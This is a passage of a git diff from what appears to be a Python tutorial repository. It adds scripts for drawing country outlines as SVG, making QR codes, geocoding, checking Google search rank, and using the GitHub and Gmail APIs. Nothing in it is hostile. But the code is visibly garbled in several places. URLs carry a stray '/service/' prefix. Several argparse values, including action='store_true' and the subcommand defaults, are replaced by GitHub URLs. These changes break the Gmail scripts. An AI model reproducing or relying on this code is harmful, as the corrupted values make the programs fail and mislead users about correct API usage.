lowestY = 9999999999 + highestY = -9999999999 + + for x, y in allPoints: + lowestX = x if x < lowestX else lowestX + highestX = x if x > highestX else highestX + + lowestY = y if y < lowestY else lowestY + highestY = y if y > highestY else highestY + + print('lowestX', lowestX) + print('highestX', highestX) + + print('lowestY', lowestY) + print('highestY', highestY) + + svgWidth = (highestX - lowestX) + svgHeight = (highestY - lowestY) + + # Transfrom Points to Polygon Strings + polygonString = '' + for group in pointGroups: + coordinateString = '' + for x, y in group: + x = (x - lowestX) + y = (y - lowestY) + + coordinateString = coordinateString + f'{x},{y} ' + + polygonString += f'' + + svgContent = f""" + + {polygonString} + + """ + + # make the output folder + if not os.path.isdir("output"): + os.mkdir("output") + # write the svg file + with open(f'output/{countryName}.svg', 'w') as f: + f.write(svgContent) + # new line + print('\n') diff --git a/general/generating-reading-qrcode/generate_qrcode_with_control.py b/general/generating-reading-qrcode/generate_qrcode_with_control.py new file mode 100644 index 00000000..4161b36c --- /dev/null +++ b/general/generating-reading-qrcode/generate_qrcode_with_control.py @@ -0,0 +1,17 @@ +import qrcode +import numpy as np +# data to encode +data = "https://www.thepythoncode.com/" + +# instantiate QRCode object +qr = qrcode.QRCode(version=1, box_size=10, border=4) +# add data to the QR code +qr.add_data(data) +# compile the data into a QR code array +qr.make() +# print the image shape +print("The shape of the QR image:", np.array(qr.get_matrix()).shape) +# transfer the array into an actual image +img = qr.make_image(fill_color="white", back_color="black") +# save it to a file +img.save("site_inversed.png") \ No newline at end of file diff --git a/general/generating-reading-qrcode/requirements.txt b/general/generating-reading-qrcode/requirements.txt index f63bdf4a..aa03c265 100644 --- a/general/generating-reading-qrcode/requirements.txt +++ b/general/generating-reading-qrcode/requirements.txt @@ -1,2 +1,3 @@ opencv-python -qrcode \ No newline at end of file +qrcode +numpy \ No newline at end of file diff --git a/general/generating-reading-qrcode/site.png b/general/generating-reading-qrcode/site.png index 234c68e5..53e8f542 100644 Binary files a/general/generating-reading-qrcode/site.png and b/general/generating-reading-qrcode/site.png differ diff --git a/general/generating-reading-qrcode/site_inversed.png b/general/generating-reading-qrcode/site_inversed.png new file mode 100644 index 00000000..1937442a Binary files /dev/null and b/general/generating-reading-qrcode/site_inversed.png differ diff --git a/general/geolocation/README.md b/general/geolocation/README.md new file mode 100644 index 00000000..d1f5b964 --- /dev/null +++ b/general/geolocation/README.md @@ -0,0 +1 @@ +# [How to Get Geographic Locations in Python](https://www.thepythoncode.com/article/get-geolocation-in-python) \ No newline at end of file diff --git a/general/geolocation/geolocator.py b/general/geolocation/geolocator.py new file mode 100644 index 00000000..7f1fc43d --- /dev/null +++ b/general/geolocation/geolocator.py @@ -0,0 +1,28 @@ +from geopy.geocoders import Nominatim +import time +from pprint import pprint + +# instantiate a new Nominatim client +app = Nominatim(user_agent="tutorial") +# get location raw data +location = app.geocode("Nairobi, Kenya").raw +# print raw data +pprint(location) + + +def get_location_by_address(address): + """This function returns a location as raw from an address + will repeat until success""" + time.sleep(1) + try: + return app.geocode(address).raw + except: + return get_location_by_address(address) + +address = "Makai Road, Masaki, Dar es Salaam, Tanzania" +location = get_location_by_address(address) +latitude = location["lat"] +longitude = location["lon"] +print(f"{latitude}, {longitude}") +# print all returned data +pprint(location) \ No newline at end of file diff --git a/general/geolocation/requirements.txt b/general/geolocation/requirements.txt new file mode 100644 index 00000000..70d1da85 --- /dev/null +++ b/general/geolocation/requirements.txt @@ -0,0 +1 @@ +geopy \ No newline at end of file diff --git a/general/geolocation/reverse_geolocator.py b/general/geolocation/reverse_geolocator.py new file mode 100644 index 00000000..3739431d --- /dev/null +++ b/general/geolocation/reverse_geolocator.py @@ -0,0 +1,25 @@ +from geopy.geocoders import Nominatim +from pprint import pprint +import time + +app = Nominatim(user_agent="tutorial") + +def get_address_by_location(latitude, longitude, language="en"): + """This function returns an address as raw from a location + will repeat until success""" + # build coordinates string to pass to reverse() function + coordinates = f"{latitude}, {longitude}" + # sleep for a second to respect Usage Policy + time.sleep(1) + try: + return app.reverse(coordinates, language=language).raw + except: + return get_address_by_location(latitude, longitude) + +# define your coordinates +latitude = 36.723 +longitude = 3.188 +# get the address info +address = get_address_by_location(latitude, longitude) +# print all returned data +pprint(address) \ No newline at end of file diff --git a/general/getting-google-page-ranking/README.md b/general/getting-google-page-ranking/README.md new file mode 100644 index 00000000..f54ade67 --- /dev/null +++ b/general/getting-google-page-ranking/README.md @@ -0,0 +1,17 @@ +# [How to Get Google Page Ranking in Python](https://www.thepythoncode.com/article/get-google-page-ranking-by-keyword-in-python) +To run this: +- `pip3 install -r requirements.txt` +- Setup CSE API and retrieve `API_KEY` and `SEARCH_ENGINE_ID` as shown in [this tutorial](https://www.thepythoncode.com/article/use-google-custom-search-engine-api-in-python) and replace them in `page_ranking.py` script. +- For instance, to get the page rank of `thepythoncode.com` of the keyword "google custom search engine api python": + ``` + python page_ranking.py thepythoncode.com "google custom search engine api python" + ``` + **Output:** + ``` + [*] Going for page: 1 + [+] thepythoncode.com is found on rank #3 for keyword: 'google custom search engine api python' + [+] Title: How to Use Google Custom Search Engine API in Python - Python ... + [+] Snippet: 10 results ... Learning how to create your own Google Custom Search Engine and use its + Application Programming Interface (API) in Python. + [+] URL: https://www.thepythoncode.com/article/use-google-custom-search-engine-api-in-python + ``` \ No newline at end of file diff --git a/general/getting-google-page-ranking/page_ranking.py b/general/getting-google-page-ranking/page_ranking.py new file mode 100644 index 00000000..98a260da --- /dev/null +++ b/general/getting-google-page-ranking/page_ranking.py @@ -0,0 +1,46 @@ +import requests +import urllib.parse as p +import sys + +# get the API KEY here: https://developers.google.com/custom-search/v1/overview +API_KEY = "" +# get your Search Engine ID on your CSE control panel +SEARCH_ENGINE_ID = "" +# target domain you want to track +target_domain = sys.argv[1] +# target keywords +query = sys.argv[2] + +for page in range(1, 11): + print("[*] Going for page:", page) + # calculating start + start = (page - 1) * 10 + 1 + # make API request + url = f"https://www.googleapis.com/customsearch/v1?key={API_KEY}&cx={SEARCH_ENGINE_ID}&q={query}&start={start}" + data = requests.get(url).json() + search_items = data.get("items") + # a boolean that indicates whether `target_domain` is found + found = False + for i, search_item in enumerate(search_items, start=1): + # get the page title + title = search_item.get("title") + # page snippet + snippet = search_item.get("snippet") + # alternatively, you can get the HTML snippet (bolded keywords) + html_snippet = search_item.get("htmlSnippet") + # extract the page url + link = search_item.get("link") + # extract the domain name from the URL + domain_name = p.urlparse(link).netloc + if domain_name.endswith(target_domain): + # get the page rank + rank = i + start - 1 + print(f"[+] {target_domain} is found on rank #{rank} for keyword: '{query}'") + print("[+] Title:", title) + print("[+] Snippet:", snippet) + print("[+] URL:", link) + # target domain is found, exit out of the program + found = True + break + if found: + break diff --git a/general/getting-google-page-ranking/requirements.txt b/general/getting-google-page-ranking/requirements.txt new file mode 100644 index 00000000..663bd1f6 --- /dev/null +++ b/general/getting-google-page-ranking/requirements.txt @@ -0,0 +1 @@ +requests \ No newline at end of file diff --git a/general/github-api/get_user_repositories.py b/general/github-api/get_user_repositories.py index 3ef20138..40c17528 100644 --- a/general/github-api/get_user_repositories.py +++ b/general/github-api/get_user_repositories.py @@ -1,6 +1,11 @@ import base64 -from github import Github +import github import sys +import os + +# make a directory to save the Python files +if not os.path.exists("python-files"): + os.mkdir("python-files") def print_repo(repo): @@ -23,19 +28,25 @@ def print_repo(repo): print("-"*50) # repository content (files & directories) print("Contents:") - for content in repo.get_contents(""): - print(content) try: + for content in repo.get_contents(""): + # check if it's a Python file + if content.path.endswith(".py"): + # save the file + filename = os.path.join("python-files", f"{repo.full_name.replace('/', '-')}-{content.path}") + with open(filename, "wb") as f: + f.write(content.decoded_content) + print(content) # repo license print("License:", base64.b64decode(repo.get_license().content.encode()).decode()) - except: - pass + except Exception as e: + print("Error:", e) # Github username from the command line username = sys.argv[1] # pygithub object -g = Github() +g = github.Github() # get that user by username user = g.get_user(username) # iterate over all public repositories diff --git a/general/github-api/search_github_repositories.py b/general/github-api/search_github_repositories.py index b03bfed5..0f842fe6 100644 --- a/general/github-api/search_github_repositories.py +++ b/general/github-api/search_github_repositories.py @@ -1,4 +1,4 @@ -from github import Github +import github import base64 def print_repo(repo): @@ -21,8 +21,11 @@ def print_repo(repo): print("-"*50) # repository content (files & directories) print("Contents:") - for content in repo.get_contents(""): - print(content) + try: + for content in repo.get_contents(""): + print(content) + except github.GithubException as e: + print("Error:", e) try: # repo license print("License:", base64.b64decode(repo.get_license().content.encode()).decode()) @@ -33,7 +36,7 @@ def print_repo(repo): username = "username" password = "password" # initialize github object -g = Github(username, password) +g = github.Github(username, password) # or use public version # g = Github() diff --git a/general/gmail-api/README.md b/general/gmail-api/README.md new file mode 100644 index 00000000..cfcb2fa8 --- /dev/null +++ b/general/gmail-api/README.md @@ -0,0 +1,66 @@ +# [How to Use Gmail API in Python](https://www.thepythoncode.com/article/use-gmail-api-in-python) +To use the scripts here: +- Create your credentials file in Google API dashboard and putting it in the current directory, follow [this tutorial](https://www.thepythoncode.com/article/use-gmail-api-in-python) for detailed information. +- `pip3 install -r requirements.txt` +- Change `our_email` variable in `common.py` to your gmail address. +- To send emails, use the `send_emails.py` script: + ``` + python send_emails.py --help + ``` + **Output:** + ``` + usage: send_emails.py [-h] [-f FILES [FILES ...]] destination subject body + + Email Sender using Gmail API + + positional arguments: + destination The destination email address + subject The subject of the email + body The body of the email + + optional arguments: + -h, --help show this help message and exit + -f FILES [FILES ...], --files FILES [FILES ...] + email attachments + ``` + For example, sending to example@domain.com: + ``` + python send_emails.py example@domain.com "This is a subject" "Body of the email" --files file1.pdf file2.txt file3.img + ``` +- To read emails, use the `read_emails.py` script. Downloading & parsing emails for Python related emails: + ``` + python read_emails.py "python" + ``` + This will output basic information on all matched emails and creates a folder for each email along with attachments and HTML version of the emails. +- To mark emails as **read** or **unread**, consider using `mark_emails.py`: + ``` + python mark_emails.py --help + ``` + **Output**: + ``` + usage: mark_emails.py [-h] [-r] [-u] query + + Marks a set of emails as read or unread + + positional arguments: + query a search query that selects emails to mark + + optional arguments: + -h, --help show this help message and exit + -r, --read Whether to mark the message as read + -u, --unread Whether to mark the message as unread + ``` + Marking emails from **Google Alerts** as **Read**: + ``` + python mark_emails.py "Google Alerts" --read + ``` + Marking emails sent from example@domain.com as **Unread**: + ``` + python mark_emails.py "example@domain.com" -u + ``` +- To delete emails, consider using `delete_emails.py` script, e.g: for deleting emails about Bitcoin: + ``` + python delete_emails.py "bitcoin" + ``` +- If you want the full code, consider using `tutorial.ipynb` file. +- Or if you want a all-in-one script, `gmail_api.py` is here as well! \ No newline at end of file diff --git a/general/gmail-api/common.py b/general/gmail-api/common.py new file mode 100644 index 00000000..2e37f7be --- /dev/null +++ b/general/gmail-api/common.py @@ -0,0 +1,43 @@ +import os +import pickle +# Gmail API utils +from googleapiclient.discovery import build +from google_auth_oauthlib.flow import InstalledAppFlow +from google.auth.transport.requests import Request + +# Request all access (permission to read/send/receive emails, manage the inbox, and more) +SCOPES = ['https://mail.google.com/'] +our_email = 'our_email@gmail.com' + + +def gmail_authenticate(): + creds = None + # the file token.pickle stores the user's access and refresh tokens, and is + # created automatically when the authorization flow completes for the first time + if os.path.exists("token.pickle"): + with open("token.pickle", "rb") as token: + creds = pickle.load(token) + # if there are no (valid) credentials availablle, let the user log in. + if not creds or not creds.valid: + if creds and creds.expired and creds.refresh_token: + creds.refresh(Request()) + else: + flow = InstalledAppFlow.from_client_secrets_file('credentials.json', SCOPES) + creds = flow.run_local_server(port=0) + # save the credentials for the next run + with open("token.pickle", "wb") as token: + pickle.dump(creds, token) + return build('gmail', 'v1', credentials=creds) + + +def search_messages(service, query): + result = service.users().messages().list(userId='me',q=query).execute() + messages = [ ] + if 'messages' in result: + messages.extend(result['messages']) + while 'nextPageToken' in result: + page_token = result['nextPageToken'] + result = service.users().messages().list(userId='me',q=query, pageToken=page_token).execute() + if 'messages' in result: + messages.extend(result['messages']) + return messages \ No newline at end of file diff --git a/general/gmail-api/delete_emails.py b/general/gmail-api/delete_emails.py new file mode 100644 index 00000000..1db315db --- /dev/null +++ b/general/gmail-api/delete_emails.py @@ -0,0 +1,19 @@ +from common import gmail_authenticate, search_messages + +def delete_messages(service, query): + messages_to_delete = search_messages(service, query) + print(f"Deleting {len(messages_to_delete)} emails.") + # it's possible to delete a single message with the delete API, like this: + # service.users().messages().delete(userId='me', id=msg['id']) + # but it's also possible to delete all the selected messages with one query, batchDelete + return service.users().messages().batchDelete( + userId='me', + body={ + 'ids': [ msg['id'] for msg in messages_to_delete] + } + ).execute() + +if __name__ == "__main__": + import sys + service = gmail_authenticate() + delete_messages(service, sys.argv[1]) \ No newline at end of file diff --git a/general/gmail-api/gmail_api.py b/general/gmail-api/gmail_api.py new file mode 100644 index 00000000..3ff32655 --- /dev/null +++ b/general/gmail-api/gmail_api.py @@ -0,0 +1,45 @@ +# for parsing commandline arguments +import argparse +from common import search_messages, gmail_authenticate +from read_emails import read_message +from send_emails import send_message +from delete_emails import delete_messages +from mark_emails import mark_as_read, mark_as_unread + + +if __name__ == '__main__': + parser = argparse.ArgumentParser(description="Send/Search/Delete/Mark messages using gmail's API.") + subparsers = parser.add_subparsers(help='Subcommands') + parser_1 = subparsers.add_parser('send', help='Send an email') + parser_1.add_argument('destination', type=str, help='The destination email address') + parser_1.add_argument('subject', type=str, help='The subject of the email') + parser_1.add_argument('body', type=str, help='The body of the email') + parser_1.add_argument('files', type=str, help='email attachments', nargs='+') + parser_1.set_defaults(action='https://github.com/send') + parser_2 = subparsers.add_parser('delete', help='Delete a set of emails') + parser_2.add_argument('query', type=str, help='a search query that selects emails to delete') + parser_2.set_defaults(action='https://github.com/delete') + parser_3 = subparsers.add_parser('mark', help='Marks a set of emails as read or unread') + parser_3.add_argument('query', type=str, help='a search query that selects emails to mark') + parser_3.add_argument('read_status', type=bool, help='Whether to mark the message as unread, or as read') + parser_3.set_defaults(action='https://github.com/mark') + parser_4 = subparsers.add_parser('search', help='Marks a set of emails as read or unread') + parser_4.add_argument('query', type=str, help='a search query, which messages to display') + parser_4.set_defaults(action='https://github.com/search') + args = parser.parse_args() + service = gmail_authenticate() + if args.action == 'send': + # TODO: add attachements + send_message(service, args.destination, args.subject, args.body, args.files) + elif args.action == 'delete': + delete_messages(service, args.query) + elif args.action == 'mark': + print(args.unread_status) + if args.read_status: + mark_as_read(service, args.query) + else: + mark_as_unread(service, args.query) + elif args.action == 'search': + results = search_messages(service, args.query) + for msg in results: + read_message(service, msg) diff --git a/general/gmail-api/mark_emails.py b/general/gmail-api/mark_emails.py new file mode 100644 index 00000000..0ad10346 --- /dev/null +++ b/general/gmail-api/mark_emails.py @@ -0,0 +1,37 @@ +from common import gmail_authenticate, search_messages + +def mark_as_read(service, query): + messages_to_mark = search_messages(service, query) + print(f"Matched emails: {len(messages_to_mark)}") + return service.users().messages().batchModify( + userId='me', + body={ + 'ids': [ msg['id'] for msg in messages_to_mark ], + 'removeLabelIds': ['UNREAD'] + } + ).execute() + +def mark_as_unread(service, query): + messages_to_mark = search_messages(service, query) + print(f"Matched emails: {len(messages_to_mark)}") + return service.users().messages().batchModify( + userId='me', + body={ + 'ids': [ msg['id'] for msg in messages_to_mark ], + 'addLabelIds': ['UNREAD'] + } + ).execute() + +if __name__ == "__main__": + import argparse + parser = argparse.ArgumentParser(description="Marks a set of emails as read or unread") + parser.add_argument('query', help='a search query that selects emails to mark') + parser.add_argument("-r", "--read", action="https://github.com/store_true", help='Whether to mark the message as read') + parser.add_argument("-u", "--unread", action="https://github.com/store_true", help='Whether to mark the message as unread') + + args = parser.parse_args() + service = gmail_authenticate() + if args.read: + mark_as_read(service, args.query) + elif args.unread: + mark_as_unread(service, args.query) diff --git a/general/gmail-api/read_emails.py b/general/gmail-api/read_emails.py new file mode 100644 index 00000000..1a07faa9 --- /dev/null +++ b/general/gmail-api/read_emails.py @@ -0,0 +1,140 @@ +import os +import sys +# for encoding/decoding messages in base64 +from base64 import urlsafe_b64decode +from common import gmail_authenticate, search_messages + + +def get_size_format(b, factor=1024, suffix="B"): + """ + Scale bytes to its proper byte format + e.g: + 1253656 => '1.20MB' + 1253656678 => '1.17GB' + """ + for unit in ["", "K", "M", "G", "T", "P", "E", "Z"]: + if b < factor: + return f"{b:.2f}{unit}{suffix}" + b /= factor + return f"{b:.2f}Y{suffix}" + + +def clean(text): + # clean text for creating a folder + return "".join(c if c.isalnum() else "_" for c in text) + + +def parse_parts(service, parts, folder_name, message): + """ + Utility function that parses the content of an email partition + """ + if parts: + for part in parts: + filename = part.get("filename") + mimeType = part.get("mimeType") + body = part.get("body") + data = body.get("data") + file_size = body.get("size") + part_headers = part.get("headers") + if part.get("parts"): + # recursively call this function when we see that a part + # has parts inside + parse_parts(service, part.get("parts"), folder_name, message) + if mimeType == "text/plain": + # if the email part is text plain + if data: + text = urlsafe_b64decode(data).decode() + print(text) + elif mimeType == "text/html": + # if the email part is an HTML content + # save the HTML file and optionally open it in the browser + if not filename: + filename = "index.html" + filepath = os.path.join(folder_name, filename) + print("Saving HTML to", filepath) + with open(filepath, "wb") as f: + f.write(urlsafe_b64decode(data)) + else: + # attachment other than a plain text or HTML + for part_header in part_headers: + part_header_name = part_header.get("name") + part_header_value = part_header.get("value") + if part_header_name == "Content-Disposition": + if "attachment" in part_header_value: + # we get the attachment ID + # and make another request to get the attachment itself + print("Saving the file:", filename, "size:", get_size_format(file_size)) + attachment_id = body.get("attachmentId") + attachment = service.users().messages() \ + .attachments().get(id=attachment_id, userId='me', messageId=message['id']).execute() + data = attachment.get("data") + filepath = os.path.join(folder_name, filename) + if data: + with open(filepath, "wb") as f: + f.write(urlsafe_b64decode(data)) + + +def read_message(service, message): + """ + This function takes Gmail API `service` and the given `message_id` and does the following: + - Downloads the content of the email + - Prints email basic information (To, From, Subject & Date) and plain/text parts + - Creates a folder for each email based on the subject + - Downloads text/html content (if available) and saves it under the folder created as index.html + - Downloads any file that is attached to the email and saves it in the folder created + """ + msg = service.users().messages().get(userId='me', id=message['id'], format='full').execute() + # parts can be the message body, or attachments + payload = msg['payload'] + headers = payload.get("headers") + parts = payload.get("parts") + folder_name = "email" + has_subject = False + if headers: + # this section prints email basic info & creates a folder for the email + for header in headers: + name = header.get("name") + value = header.get("value") + if name.lower() == 'from': + # we print the From address + print("From:", value) + if name.lower() == "to": + # we print the To address + print("To:", value) + if name.lower() == "subject": + # make our boolean True, the email has "subject" + has_subject = True + # make a directory with the name of the subject + folder_name = clean(value) + # we will also handle emails with the same subject name + folder_counter = 0 + while os.path.isdir(folder_name): + folder_counter += 1 + # we have the same folder name, add a number next to it + if folder_name[-1].isdigit() and folder_name[-2] == "_": + folder_name = f"{folder_name[:-2]}_{folder_counter}" + elif folder_name[-2:].isdigit() and folder_name[-3] == "_": + folder_name = f"{folder_name[:-3]}_{folder_counter}" + else: + folder_name = f"{folder_name}_{folder_counter}" + os.mkdir(folder_name) + print("Subject:", value) + if name.lower() == "date": + # we print the date when the message was sent + print("Date:", value) + if not has_subject: + # if the email does not have a subject, then make a folder with "email" name + # since folders are created based on subjects + if not os.path.isdir(folder_name): + os.mkdir(folder_name) + parse_parts(service, parts, folder_name, message) + print("="*50) + +if __name__ == "__main__": + service = gmail_authenticate() + # get emails that match the query you specify from the command lines + results = search_messages(service, sys.argv[1]) + print(f"Found {len(results)} results.") + # for each email matched, read it (output plain/text to console & save HTML and attachments) + for msg in results: + read_message(service, msg) \ No newline at end of file diff --git a/general/gmail-api/requirements.txt b/general/gmail-api/requirements.txt new file mode 100644 index 00000000..3a1e020b --- /dev/null +++ b/general/gmail-api/requirements.txt @@ -0,0 +1,3 @@ +google-api-python-client +google-auth-httplib2 +google-auth-oauthlib \ No newline at end of file diff --git a/general/gmail-api/send_emails.py b/general/gmail-api/send_emails.py new file mode 100644 index 00000000..886bd3e8 --- /dev/null +++ b/general/gmail-api/send_emails.py @@ -0,0 +1,75 @@ +# for getting full paths to attachements +import os +# for encoding messages in base64 +from base64 import urlsafe_b64encode +# for dealing with attachement MIME types +from email.mime.text import MIMEText +from email.mime.multipart import MIMEMultipart +from email.mime.image import MIMEImage +from email.mime.audio import MIMEAudio +from email.mime.base import MIMEBase +from mimetypes import guess_type as guess_mime_type + +from common import our_email, gmail_authenticate + +# Adds the attachment with the given filename to the given message +def add_attachment(message, filename): + content_type, encoding = guess_mime_type(filename) + if content_type is None or encoding is not None: + content_type = 'application/octet-stream' + main_type, sub_type = content_type.split('/', 1) + if main_type == 'text': + fp = open(filename, 'rb') + msg = MIMEText(fp.read().decode(), _subtype=sub_type) + fp.close() + elif main_type == 'image': + fp = open(filename, 'rb') + msg = MIMEImage(fp.read(), _subtype=sub_type) + fp.close() + elif main_type == 'audio': + fp = open(filename, 'rb') + msg = MIMEAudio(fp.read(), _subtype=sub_type) + fp.close() + else: + fp = open(filename, 'rb') + msg = MIMEBase(main_type, sub_type) + msg.set_payload(fp.read()) + fp.close() + filename = os.path.basename(filename) + msg.add_header('Content-Disposition', 'attachment', filename=filename) + message.attach(msg) + +def build_message(destination, obj, body, attachments=[]): + if not attachments: # no attachments given + message = MIMEText(body) + message['to'] = destination + message['from'] = our_email + message['subject'] = obj + else: + message = MIMEMultipart() + message['to'] = destination + message['from'] = our_email + message['subject'] = obj + message.attach(MIMEText(body)) + for filename in attachments: + add_attachment(message, filename) + return {'raw': urlsafe_b64encode(message.as_bytes()).decode()} + +def send_message(service, destination, obj, body, attachments=[]): + return service.users().messages().send( + userId="me", + body=build_message(destination, obj, body, attachments) + ).execute() + + +if __name__ == "__main__": + import argparse + parser = argparse.ArgumentParser(description="Email Sender using Gmail API") + parser.add_argument('destination', type=str, help='The destination email address') + parser.add_argument('subject', type=str, help='The subject of the email') + parser.add_argument('body', type=str, help='The body of the email') + parser.add_argument('-f', '--files', type=str, help='email attachments', nargs='+') + + args = parser.parse_args() + service = gmail_authenticate() + send_message(service, args.destination, args.subject, args.body, args.files) \ No newline at end of file diff --git a/general/gmail-api/tutorial.ipynb b/general/gmail-api/tutorial.ipynb new file mode 100644 index 00000000..007da6dc --- /dev/null +++ b/general/gmail-api/tutorial.ipynb @@ -0,0 +1,415 @@ +{ + "cells": [ + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "import os\n", + "import pickle\n", + "# Gmail API utils\n", + "from googleapiclient.discovery import build\n", + "from google_auth_oauthlib.flow import InstalledAppFlow\n", + "from google.auth.transport.requests import Request\n", + "# for encoding/decoding messages in base64\n", + "from base64 import urlsafe_b64decode, urlsafe_b64encode\n", + "# for dealing with attachement MIME types\n", + "from email.mime.text import MIMEText\n", + "from email.mime.multipart import MIMEMultipart\n", + "from email.mime.image import MIMEImage\n", + "from email.mime.audio import MIMEAudio\n", + "from email.mime.base import MIMEBase\n", + "from mimetypes import guess_type as guess_mime_type" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "# Request all access (permission to read/send/receive emails, manage the inbox, and more)\n", + "SCOPES = ['https://mail.google.com/']\n", + "our_email = 'your_gmail@gmail.com'" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "def gmail_authenticate():\n", + " creds = None\n", + " # the file token.pickle stores the user's access and refresh tokens, and is\n", + " # created automatically when the authorization flow completes for the first time\n", + " if os.path.exists(\"token.pickle\"):\n", + " with open(\"token.pickle\", \"rb\") as token:\n", + " creds = pickle.load(token)\n", + " # if there are no (valid) credentials availablle, let the user log in.\n", + " if not creds or not creds.valid:\n", + " if creds and creds.expired and creds.refresh_token:\n", + " creds.refresh(Request())\n", + " else:\n", + " flow = InstalledAppFlow.from_client_secrets_file('credentials.json', SCOPES)\n", + " creds = flow.run_local_server(port=0)\n", + " # save the credentials for the next run\n", + " with open(\"token.pickle\", \"wb\") as token:\n", + " pickle.dump(creds, token)\n", + " return build('gmail', 'v1', credentials=creds)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "# get the Gmail API service\n", + "service = gmail_authenticate()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "# Adds the attachment with the given filename to the given message\n", + "def add_attachment(message, filename):\n", + " content_type, encoding = guess_mime_type(filename)\n", + " if content_type is None or encoding is not None:\n", + " content_type = 'application/octet-stream'\n", + " main_type, sub_type = content_type.split('/', 1)\n", + " if main_type == 'text':\n", + " fp = open(filename, 'rb')\n", + " msg = MIMEText(fp.read().decode(), _subtype=sub_type)\n", + " fp.close()\n", + " elif main_type == 'image':\n", + " fp = open(filename, 'rb')\n", + " msg = MIMEImage(fp.read(), _subtype=sub_type)\n", + " fp.close()\n", + " elif main_type == 'audio':\n", + " fp = open(filename, 'rb')\n", + " msg = MIMEAudio(fp.read(), _subtype=sub_type)\n", + " fp.close()\n", + " else:\n", + " fp = open(filename, 'rb')\n", + " msg = MIMEBase(main_type, sub_type)\n", + " msg.set_payload(fp.read())\n", + " fp.close()\n", + " filename = os.path.basename(filename)\n", + " msg.add_header('Content-Disposition', 'attachment', filename=filename)\n", + " message.attach(msg)\n", + "\n", + "def build_message(destination, obj, body, attachments=[]):\n", + " if not attachments: # no attachments given\n", + " message = MIMEText(body)\n", + " message['to'] = destination\n", + " message['from'] = our_email\n", + " message['subject'] = obj\n", + " else:\n", + " message = MIMEMultipart()\n", + " message['to'] = destination\n", + " message['from'] = our_email\n", + " message['subject'] = obj\n", + " message.attach(MIMEText(body))\n", + " for filename in attachments:\n", + " add_attachment(message, filename)\n", + " return {'raw': urlsafe_b64encode(message.as_bytes()).decode()}\n", + "\n", + "def send_message(service, destination, obj, body, attachments=[]):\n", + " return service.users().messages().send(\n", + " userId=\"me\",\n", + " body=build_message(destination, obj, body, attachments)\n", + " ).execute()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "# test send email\n", + "send_message(service, \"destination@domain.com\", \"This is a subject\", \n", + " \"This is the body of the email\", [\"test.txt\", \"anyfile.png\"])" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "def search_messages(service, query):\n", + " result = service.users().messages().list(userId='me',q=query).execute()\n", + " messages = [ ]\n", + " if 'messages' in result:\n", + " messages.extend(result['messages'])\n", + " while 'nextPageToken' in result:\n", + " page_token = result['nextPageToken']\n", + " result = service.users().messages().list(userId='me',q=query, pageToken=page_token).execute()\n", + " if 'messages' in result:\n", + " messages.extend(result['messages'])\n", + " return messages" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "# utility functions\n", + "def get_size_format(b, factor=1024, suffix=\"B\"):\n", + " \"\"\"\n", + " Scale bytes to its proper byte format\n", + " e.g:\n", + " 1253656 => '1.20MB'\n", + " 1253656678 => '1.17GB'\n", + " \"\"\"\n", + " for unit in [\"\", \"K\", \"M\", \"G\", \"T\", \"P\", \"E\", \"Z\"]:\n", + " if b < factor:\n", + " return f\"{b:.2f}{unit}{suffix}\"\n", + " b /= factor\n", + " return f\"{b:.2f}Y{suffix}\"\n", + "\n", + "\n", + "def clean(text):\n", + " # clean text for creating a folder\n", + " return \"\".join(c if c.isalnum() else \"_\" for c in text)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "def parse_parts(service, parts, folder_name, message):\n", + " \"\"\"\n", + " Utility function that parses the content of an email partition\n", + " \"\"\"\n", + " if parts:\n", + " for part in parts:\n", + " filename = part.get(\"filename\")\n", + " mimeType = part.get(\"mimeType\")\n", + " body = part.get(\"body\")\n", + " data = body.get(\"data\")\n", + " file_size = body.get(\"size\")\n", + " part_headers = part.get(\"headers\")\n", + " if part.get(\"parts\"):\n", + " # recursively call this function when we see that a part\n", + " # has parts inside\n", + " parse_parts(service, part.get(\"parts\"), folder_name, message)\n", + " if mimeType == \"text/plain\":\n", + " # if the email part is text plain\n", + " if data:\n", + " text = urlsafe_b64decode(data).decode()\n", + " print(text)\n", + " elif mimeType == \"text/html\":\n", + " # if the email part is an HTML content\n", + " # save the HTML file and optionally open it in the browser\n", + " if not filename:\n", + " filename = \"index.html\"\n", + " filepath = os.path.join(folder_name, filename)\n", + " print(\"Saving HTML to\", filepath)\n", + " with open(filepath, \"wb\") as f:\n", + " f.write(urlsafe_b64decode(data))\n", + " else:\n", + " # attachment other than a plain text or HTML\n", + " for part_header in part_headers:\n", + " part_header_name = part_header.get(\"name\")\n", + " part_header_value = part_header.get(\"value\")\n", + " if part_header_name == \"Content-Disposition\":\n", + " if \"attachment\" in part_header_value:\n", + " # we get the attachment ID \n", + " # and make another request to get the attachment itself\n", + " print(\"Saving the file:\", filename, \"size:\", get_size_format(file_size))\n", + " attachment_id = body.get(\"attachmentId\")\n", + " attachment = service.users().messages() \\\n", + " .attachments().get(id=attachment_id, userId='me', messageId=message['id']).execute()\n", + " data = attachment.get(\"data\")\n", + " filepath = os.path.join(folder_name, filename)\n", + " if data:\n", + " with open(filepath, \"wb\") as f:\n", + " f.write(urlsafe_b64decode(data))\n", + "\n", + "\n", + "def read_message(service, message):\n", + " \"\"\"\n", + " This function takes Gmail API `service` and the given `message_id` and does the following:\n", + " - Downloads the content of the email\n", + " - Prints email basic information (To, From, Subject & Date) and plain/text parts\n", + " - Creates a folder for each email based on the subject\n", + " - Downloads text/html content (if available) and saves it under the folder created as index.html\n", + " - Downloads any file that is attached to the email and saves it in the folder created\n", + " \"\"\"\n", + " msg = service.users().messages().get(userId='me', id=message['id'], format='full').execute()\n", + " # parts can be the message body, or attachments\n", + " payload = msg['payload']\n", + " headers = payload.get(\"headers\")\n", + " parts 